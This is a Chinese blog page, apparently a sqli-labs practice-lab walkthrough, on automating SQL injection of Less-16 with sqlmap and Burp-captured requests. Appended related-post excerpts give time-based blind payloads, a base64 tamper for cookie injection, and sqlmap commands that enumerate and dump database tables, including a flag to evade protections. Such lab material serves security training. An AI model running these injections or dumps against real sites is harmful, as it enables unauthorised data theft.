Sqli-labs靶场第16关详解[Sqli-labs-less-16]自动化注入-SQLmap工具注入

已于 2024-03-03 12:55:21 修改
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分类专栏： sqli-labs 文章标签： 安全 web安全 mysql sql 自动化 数据库
于 2024-03-03 12:54:23 首次发布
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版权
Sqli-labs-Less-16

#自动化注入-SQLmap工具注入

 SQLmap用户手册：文档介绍 - sqlmap 用户手册

 以非交互式模式运行

--batch

        当你需要以批处理模式运行 sqlmap，避免任何用户干预 sqlmap 的运行，可以强制使用 --batch 这个开关。这样，当 sqlmap 需要用户输入信息时，都将会以默认参数运行。

 由于这题是post请求，所以先使用burp进行抓包，然后将数据包存入txt文件中打包  用-r 选择目标txt文件</

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根据题目及测试发现，注入点在New Password上并且后台会判断user是否存在，所以user选择一个知道的name：admin或domo。如果当前会话用户对包含 DBMS 可用数据库信息的系统表有读取权限，则可以枚举出当前数据库列表。，所以先使用burp进行抓包，然后将数据包存入txt文件中打包 用-r 选择目标txt文件。单引号 '闭合 -- 报错注入。爆出DBMS 所有数据库。
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所以先使用burp进行抓包，然后将数据包存入txt文件中打包 用-r 选择目标txt文件。尝试加上注入语句（报错注入），测试是否会执行并返回报错语句爆出想要的信息。使用单引号' 测试得到了报错即： ' 为闭合方式。在user-agent处加上*代表注入点。
Sqli-labs靶场第21、22关详解[Sqli-labs-less-21、22]自动化注入-SQLmap工具注入|sqlmap跑base64加密
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由于21/22雷同，都是需要登录后，注入点通过Cookie值进行测试，值base64加密修改注入数据选项：--tamper=base64encode。
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sqli-labs (less-16) 进入16关，输入用户名和密码，可以看到没有数据回显 输入 uname=admin'&passwd=admin&submit=Submit #没有错误回显 uname=admin"&passwd=admin&submit=Submit #没有错误回显 没有错误回显，我们只能一个一个去猜闭合方式，利用时间盲注去判断注入点 uname=admin' and sleep(5)#&passwd=admin&submit=Su
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### SQLMap在SQLi-Labs第一关中的应用 对于SQLi-Labs靶场的第一关（Less-1），可以通过`sqlmap`工具实现自动化的SQL注入攻击。以下是具体的操作方法以及注意事项： #### 工具准备 确保已安装并配置好`sqlmap`环境。如果尚未安装，可通过以下命令完成安装： ```bash git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap cd sqlmap ``` #### 基本操作流程 针对SQLi-Labs第一关的目标URL `http://localhost/sqli-labs/Less-1/?id=1`，可以执行如下命令来探测和利用漏洞。 ##### 探测可注入参数 运行以下命令以确认是否存在SQL注入漏洞，并定位到具体的注入点： ```bash python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" --risk=3 --level=5 --random-agent --batch ``` 上述命令中各选项的作用分别为： - `-u`: 指定目标URL。 - `--risk=3`: 设置风险级别为最高级，尝试更多复杂的payload[^1]。 - `--level=5`: 设定测试强度为最高等级，覆盖尽可能多的场景。 - `--random-agent`: 随机化User-Agent头信息，规避可能的安全防护机制[^2]。 - `--batch`: 自动处理所有交互式提示，默认选择推荐选项[^3]。 ##### 枚举数据库信息 一旦确认存在注入漏洞，则继续深入挖掘敏感数据。例如枚举当前使用的数据库名称： ```bash python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" --current-db --batch ``` 此命令会返回当前正在使用的数据库名字。 ##### 列出所有可用数据库 为了进一步了解服务器上的其他潜在资源，还可以列举全部数据库列表： ```bash python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" --dbs --batch ``` 通过该命令可以获得完整的数据库集合。 ##### 查找特定数据库内的表格结构 假设已经得知某个感兴趣的具体数据库名为`testDB`，那么就可以查询其内部包含哪些表单： ```bash python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" -D testDB --tables --batch ``` 这里指定了目标数据库并通过`--tables`获取其中存储的数据表清单。 ##### 提取指定表的内容列定义 当明确了某张表之后，下一步便是研究它的字段构成情况： ```bash python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" -D testDB -T users --columns --batch ``` 这条语句用于揭示所选表(`users`)的各项属性描述。 ##### 导出实际记录值 最后一步就是导出整张表里的真实数据条目了： ```bash python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" -D testDB -T users --dump --batch ``` 至此完成了从发现漏洞直至提取有用情报的一系列动作。 ### 注意事项 尽管`sqlmap`功能强大，但在实战环境中需谨慎行事，避免触犯法律红线。仅限于授权范围内的渗透测试活动才允许使用此类技术手段。
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